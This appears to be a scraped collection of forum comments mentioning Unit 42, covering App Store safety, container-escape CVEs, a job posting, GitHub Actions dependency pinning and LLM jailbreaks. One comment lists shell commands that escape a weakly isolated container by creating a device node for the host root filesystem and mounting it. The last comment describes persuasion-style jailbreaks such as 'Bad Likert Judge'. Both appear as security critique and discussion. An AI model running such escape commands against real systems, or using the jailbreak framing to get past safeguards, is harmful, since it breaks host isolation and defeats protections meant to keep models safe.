Unit 42

> While in no ways perfect, Apple's walled garden gets rid of a huge amount of the enshittification found on other platforms, and makes it so that downloading a random app is relatively safe and unlikely to nuke your phone, steal your data, etc. Yes all the "allow access to location/photos/etc." are annoying, but at least the user has some level of control and consent.

Better than Android sure, but let's not get too hyperbolic. There's less outright malware, but a ton of questionable crapware with bad practices. Let's not forget that Android phones definitely also do sandboxing and just-in-time permission prompts.

Even among major apps, maybe especially among major apps, the Apple App Store is full of apps that blatantly violate Apple's own policies, often including Apple's own apps too, much like the Google Play store. As a simple example, apps that put crucial notifications in the same category as advertisements are all over the place, despite this being a clear violation of the policies. There is plenty of enshittification on Apple platforms.

Beyond that, I can go onto my iPad and search something that is likely to be popular and find a ton of very questionable apps. For example, search "Grand Theft Auto". Scroll down slightly. That sure looks like a lot of very questionable garbage apps full of questionable advertisements. You can repeat this with tons of popular search terms. Yes, it's one thing to trust the sandbox, but are you really sure you feel safe installing…

I did apologize, didn't I? :-)

Perspective is everything, I guess. You look at that three year old comment and think it's not particularly informative. I look at that comment and see an experienced infosec pro at Fly.io, who runs billions of container workloads and doesn't trust the cgroups+namespaces security boundary enough so goes to the trouble of running Firecracker instead. (There are other reasons they landed there, but the security angle's part of it.)

Anyway if you want some links, here are a few. If you want more, I'm sure you can find 'em.

CVE-2022-0492: https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups

CVE-2022-0847: https://www.datadoghq.com/blog/engineering/dirty-pipe-container-escape-poc/

CVE-2023-2640: https://www.crowdstrike.com/en-us/blog/crowdstrike-discovers-new-container-exploit/

CVE-2024-21626: https://nvd.nist.gov/vuln/detail/cve-2024-21626

Some are covered off by good container deployment hygiene and reducing privilege, but from my POV it looks like the container devs are plugging their fingers in a barrel that keeps springing new leaks.

(To be fair, modern Docker's a lot better than it used to be. If you run your container unprivileged and don't give it extra capabilities and don't change syscall filters or MAC policies, you've closed off quite a bit of the attack surface, though far from all of it.)

But keep in mind that shared-kernel containers are only as secure as the kernel, and today's secure kernel syscall can turn insecure…

Definitely not secure. The author did a great job explaining container runtimes in basic terms, but there's a lot of security features missing. Mainly:
* Reducing the container's capabilities
* Restricting access to resources through cgroups
* Applying seccomp filters to prevent certain syscalls.

As another comment suggested, user namespaces are another hardening feature, but not all container runtimes enable it by default. Podman does, Docker doesn't. In fact user namespaces are so powerful that I believe they pretty much cover most of the hardening provided by the three features I listed above. If you're wondering why they're not enabled by default in Docker, take a look at this [1].

Exploiting the missing isolation mechanisms, the following bash commands will allow you to escape from the author's containers:

$ ls -al /sys/dev/block # find the root fs device (e.g. /dev/sda1) major and minor device numbers (e.g. {maj=8, min=1}, {maj=259, min=1})

$ mknod --mode 0600 /dev/host_fs_dev b $major $minor

$ mkdir /host_fs && mount /dev/host_fs_dev /host_fs

(warning: shameless plug to my posts follows:)

If you want more details, I wrote a post on this exact same problem in the context of three vulnerabilities I found in rkt (another container runtime) [2].

Beside the issues above, the author's runtime also exposes host file descriptors like /proc/self/exe that can be used to escape the container. This is a post I wrote on runC CVE-2019-5736 that explains this kind of…

Palo Alto Networks - Unit 42 | Principal Security Automation Engineer | Full-Time | Remote | https://unit42.paloaltonetworks.com/

We are looking for a principal level engineer with experience in React and Python to work on the Unit 42 Engineering organization inside Palo Alto Networks. Day to day, the candidate will help build the tools/services that Palo Alto Networks researchers rely on to better understand threats and help them collaborate across our products. We are looking for someone with strong React skills, who feels at home working with REST APIs.

Some of our technology stack:

- Python (API/backend/clients)

- JS (React)

- Kubernetes

- GCP

- GitLab CI

Some no BS reasons you would want to work on the Unit42 Engineering org:

1) We are an internal team helping researchers across Palo Alto Networks find and squish threats to our customers and the internet as a whole

2) If you are interested in security work, there is an incredible diversity of talent on the team and a deep rooted culture of sharing knowledge

3) You get to work with really interesting data and there are always interesting engineering challenges to be solved

More information about the job:

Principal Security Automation Engineer - https://jobs.paloaltonetworks.com/job/13435047/principal-security-automation-engineer-santa-clara-ca/

There are two solutions GitHub Actions people will tell you about. Both are fundamentally flawed because GitHub Actions Has a Package Manager, and It Might Be the Worst [1].

One thing people will say is to pin the commit SHA, so don't do "uses: randomAuthor/some-normal-action@v1", instead do "uses: randomAuthor/some-normal-action@e20fd1d81c3f403df57f5f06e2aa9653a6a60763". Alternatively, just fork the action into your own GitHub account and import that instead.

However, neither of these "solutions" work, because they do not pin the transitive dependencies.

Suppose I pin the action at a SHA or fork it, but that action still imports "tj-actions/changed-files". In that case, you would have still been pwned in the "tj-actions/changed-files" incident [2].

The only way to be sure is to manually traverse the dependency hierarchy, forking each action as you go down the "tree" and updating every action to only depend on code you control.

In other package managers, this is solved with a lockfile - go.sum, yarn.lock, ...

[1] https://nesbitt.io/2025/12/06/github-actions-package-manager.html

[2] https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/

We work in the arena of automated AI workflows where consistency of success is vital. When you threaten an LLM you are drawing the LLM into the texts where threats occur (flame wars, parody, etc.). So intuitively you would expect it to work sometimes, but also fail with even more ardent refusal (increasing the variance of success).

Jailbreak approaches like "Bad Likert Judge" ( https://unit42.paloaltonetworks.com/multi-turn-technique-jailbreaks-llms/ ) and similar persuasive techniques (see https://xthemadgenius.medium.com/how-persuasion-techniques-can-jailbreak-language-models-ec9208b9ca49 ) move the text domain to more policy, analysis, or scientific papers, where deeper analysis, discussion, and compliance is the norm.

So I'm curious about the extremes (variance) of success with threatening vs. polite discussion, but I haven't seen direct research on that.